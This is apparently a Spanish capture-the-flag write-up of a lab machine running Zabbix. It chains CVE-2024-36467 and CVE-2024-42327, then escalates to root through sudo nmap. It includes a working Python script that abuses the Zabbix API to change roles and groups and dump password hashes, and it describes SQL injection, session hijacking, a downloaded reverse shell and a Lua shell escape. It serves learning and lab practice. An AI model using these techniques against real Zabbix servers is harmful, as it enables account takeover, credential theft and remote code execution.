
Acerca de Unrested
Unrested es una máquina Linux de dificultad media que aloja una versión de Zabbix. La enumeración de la versión de Zabbix muestra que es vulnerable tanto a CVE-2024-36467 (falta de controles de acceso en la función user.update dentro de la clase CUser) como a CVE-2024-42327 (inyección SQL en la función user.get de la clase CUser) que se aprovecha para obtener acceso de usuario en el objetivo. La enumeración posterior a la explotación revela que el sistema tiene una configuración incorrecta de sudo que permite al usuario zabbix ejecutar sudo /usr/bin/nmap, una dependencia opcional en los servidores Zabbix que se aprovecha para obtener acceso root.
Matriz de la máquina.
*Características de explotación de la máquina.

*Sin actualizaciones.
En esta ocacion nos brindan credenciales en la cuenta Zabbix: matthew / 96qzn0h2e1k3

Comienzo enumerando los puertos, servicios y versiones.
rustscan -a 10.10.11.50 -- -sCV -oN scan.txt

1) Superior a la version 6.9 que permite enumerar usuarios. apartir de la version 7.0 se implemento la opcion UsePAM, que permite utilizar el ‘Pluggable Authentication Module (PAM)’ para manejar la autenticación.
2) Corre el servicio Apache 2.4.52.
3) Los métodos que podríamos utilizar por medio de curl, burpsuite y automatizar por medio de bash y python.
4) Site doesn’t have a title (text/html), indica que no tiene un nombre de dominio definido.
5) Está protegido por tcpwrappers, lo que significa que el acceso está controlado por configuraciones en /etc/hosts.allow y /etc/hosts.deny.
6) Utilizado por Zabbix, una herramienta de monitoreo.
Automatizo varias solicitudes, me indica en estado 200 en todas las solicitudes sin discriminar caracteres ni la presencia.


El atributo path específica en las rutas en que el navegador debe enviarla, determinando qué solicitudes recibirán la cookie. Esto permite que la sesión del usuario se mantenga activa incluso si la ruta solicitada no corresponde a un archivo físico en el servidor. Por ejemplo, al realizar una solicitud a AAA.php, el servidor puede responder con un código 200 OK a pesar de que el archivo no exista, gracias a un controlador que gestiona todas las solicitudes que comienzan con /zabbix/index.php. Este enfoque permite que la aplicación maneje la lógica de la sesión del usuario y establezca o modifique la cookie zbx_session, asegurando que la experiencia del usuario sea fluida y continua. Lo que me indica que podría permitir el acceso no autorizado por medio de las cookies.

Verifico el contenido de la cookie que contiene un identificador de sessionid y sign.

Verifico servicios web que estén corriendo.

Como es de código abierto podemos verificar con exactitud leer sobre la api
https://github.com/zabbix/zabbix/blob/7.0.0/ui/api_jsonrpc.php
Encontre la documentación sobre el funcionamiento del flujo de la api de zabbix
https://www.zabbix.com/documentation/current/en/manual/api
Inicio sesión con las credenciales que proporciona de matthew.

La función update se encarga de actualizar la información de un conjunto de usuarios en un sistema de gestión. Recibe un array de usuarios, valida los datos mediante el método validateUpdate, y luego aplica las actualizaciones en la base de datos a través del método updateForce. Finalmente, devuelve un array con los identificadores de usuario (userid) de los usuarios que han sido actualizados. no hay comprobaciones de autorización y el usuario autenticado en la API puede actualizar usuarios libremente.

Agrega información sobre los grupos de usuarios relacionados a un conjunto de resultados de usuarios, utilizando un mapa de relaciones y una llamada a la API para recuperar los datos necesarios.

Agrega detalles sobre los roles de los usuarios a un conjunto de resultados mediante una consulta a la base de datos, actualizando el array de resultados con la información del rol correspondiente. Sin embargo, es importante destacar que en ningún momento se verifica si el usuario que utiliza la API tiene el rol de administrador.

El método checkHimself valida que un usuario no intente realizar cambios no permitidos en su propia cuenta, como cambiar su rol o añadirse a grupos de usuarios deshabilitados. usrgrps no tiene ningún tipo de validación, y por lo tanto se puede abusar de él.

Teniendo encuenta que es vulnerable a CORS, indica que la API permite solicitudes de cualquier origen.

Genero un token.

Verifico la versión de zabbix, por medio de la documentación.

Compruebo la versión de zabbix.

Encuentro este CVE-2024-42327 dado que logro identificar la versión de zabbix y el comportamiento hasta el momento.
https://github.com/aramosf/cve-2024-42327
El script se conecta a la API de Zabbix utilizando credenciales válidas para autenticar al usuario y obtener un token de sesión. Una vez autenticado, el script itera a través de un rango de IDs de usuario, desde 1 hasta 40, realizando solicitudes para recuperar información detallada de cada usuario, que incluye el nombre de usuario, nombre, apellido, ID de usuario y contraseñas de rol.

Me autentico en la API de Zabbix utilizando las credenciales del usuario “matthew” y, tras obtener un token de autenticación, me añado a los grupos de usuarios 7 y 13. Finalmente, realizo una solicitud para obtener información sobre mi usuario, lo que me permite verificar que ahora pertenezco a los grupos actualizados 3, 7 y 13.


Verifico la cookie actualizada.

Una vez que modifico el rol puedo comprobar por medio del cve-2024-42327 obteniendo las credenciales de admin y guest.

Genero un script cubriendo las solicitudes anteriores, pero interactiva.
import requests
import json
from colorama import Fore, Style, init
init(autoreset=True)
zabbix_url = "http://10.10.11.50/zabbix/api_jsonrpc.php"
headers = {"Content-Type": "application/json-rpc"}
auth_token = input("Introduce el token de autenticación: ")
def send_request(method, params):
payload = {
"jsonrpc": "2.0",
"method": method,
"params": params,
"auth": auth_token,
"id": 1
}
response = requests.post(zabbix_url, headers=headers, json=payload)
return response.json()
def get_users():
params = {"output": "extend", "selectRole": ["roleid, u.passwd"]}
response = send_request("user.get", params)
if "error" in response:
print(Fore.RED + f"Error al obtener usuarios: {response['error']['data']}")
else:
print(Fore.CYAN + "Usuarios disponibles:")
print(json.dumps(response, indent=4))
def update_user(userid, name=None, roleid=None, usrgrps=None):
params = {"userid": userid}
if name:
params["name"] = name
if roleid:
params["roleid"] = roleid
if usrgrps:
params["usrgrps"] = [{"usrgrpid": grp} for grp in usrgrps]
response = send_request("user.update", params)
print(Fore.CYAN + "Resultado de la actualizacion:")
if "error" in response:
print(Fore.RED + f"Error: {response['error']['data']}")
else:
print(Fore.GREEN + json.dumps(response, indent=4))
def get_usergroups():
params = {"output": "extend"}
response = send_request("usergroup.get", params)
if "error" in response:
print(Fore.RED + f"Error al obtener grupos de usuarios: {response['error']['data']}")
else:
print(Fore.CYAN + "Grupos de usuarios disponibles:")
print(json.dumps(response, indent=4))
def assign_user_to_group(userid):
for i in range(21):
params = {"userid": userid, "usrgrps": [{"usrgrpid": i}]}
response = send_request("user.update", params)
if "error" not in response:
print(Fore.CYAN + f"Usuario asignado al grupo con ID: {i}")
else:
print(Fore.RED + f"Error asignando grupo con ID: {i} - {response['error']['data']}")
def main_menu():
while True:
print(Fore.CYAN + "\n*** Menu Principal ***")
print("1. Obtener usuarios")
print("2. Actualizar usuario")
print("3. Obtener grupos de usuarios")
print("4. Asignar usuario a grupo")
print("5. Salir")
choice = input("Selecciona una opcion: ")
if choice == "1":
get_users()
elif choice == "2":
userid = input("Introduce el userid del usuario a actualizar: ")
name = input("Introduce el nuevo nombre (dejar en blanco para no cambiar): ")
roleid = input("Introduce el nuevo roleid (dejar en blanco para no cambiar): ")
usrgrps = input("Introduce los grupos de usuarios (separados por comas, dejar en blanco para no cambiar): ")
usrgrps = [grp.strip() for grp in usrgrps.split(",")] if usrgrps else None
update_user(userid, name if name else None, roleid if roleid else None, usrgrps)
elif choice == "3":
get_usergroups()
elif choice == "4":
userid = input("Introduce el userid del usuario a asignar a un grupo: ")
assign_user_to_group(userid)
elif choice == "5":
print(Fore.CYAN + "I love D1STINCT, Gracias por usar el programa, Saliendo...")
break
else:
print(Fore.RED + "Opción no valida.")
if __name__ == "__main__":
main_menu()
Obtengo el hash de la contraseña del admin

Identifico el tipo de hash de la contraseña.

Desde burpsuite genero la solicitud con user.get apuntando roleid + u.passwd obteniendo con éxito en el response.




Modifico el u.passwd con un asterisco ya que es un indicador para iterar con sqlmap, guardo la solicitud

Utilicé sqlmap para buscar vulnerabilidades, encontré con éxito una inyección SQL, junto con el payload correspondiente. Además me informó que se encontraron dos bases de datos information_schema y zabbix.

Compruebo que efectivamente se refleja en él response la solicitud.


Visualizo las credenciales posteriormente obtenidas.

Obtengo las tablas desde information_schema.

Verifico las sesiones.

Compruebo la sesión obtenida.

Verifico que la sesión pertenece al usuario admin.

Utilizo el método host.get y confirmo que existe un host con el ID 10084, lo que me permite acceder a su información y configuraciones.


Para obtener el valor del ID de la interfaz que está utilizando este host, puedo emplear el parámetro interfaceids para filtrar y determinar cuál es el ID de la interfaz correspondiente.


Después de verificar que el ID 0 no devolvió información útil, vuelvo a filtrar utilizando la opción 1, lo que me proporciona información relevante para continuar.

El comando system.run en Zabbix permite ejecutar comandos del sistema directamente desde el agente. La sintaxis es system.run[<comando>]. Por ejemplo, para listar los servicios que están configurados para iniciarse automáticamente pero que no están en ejecución, utilizando system.run[wmic service where "Startmode='Auto' and state!='Running'" get DisplayName /Format:csv].


Creo una revshell.sh en bash.

Verifico que tengo traza a mi servidor local.

Ejecuto system.run para que descargue mi revshell.sh desde mi servidor en Python y se ejecute automáticamente con Bash una vez completada la descarga.

Obtengo acceso a una shell del servidor a través del servicio Zabbix. Verifico el usuario actual, los grupos a los que pertenece, los usuarios conectados al sistema y la información del sistema. También enumero los directorios presentes, incluidos los ocultos.

Estabilicé la consola

Verifico los usuarios del /etc/passwd

Tengo permiso de sudo para ejecutar nmap sin contraseña.


Verifico en GTFOBins el binario nmap para la escalada de privilegios.

Obtengo una shell con privilegios de root mediante un script temporal. Primero, creo un archivo temporal con mktemp, en el cual se escribe un comando Lua que ejecuta un shell de Unix con os.execute("/bin/sh"). Luego, se ejecuta Nmap con el script creado, lo que permite ejecutar una shell interactiva.

De esta manera obtengo privilegios de root.
Ganando flag user y root.


Ya sea con el archivo temporal o no, es posible obtener acceso a root.


You must be logged in to post a comment.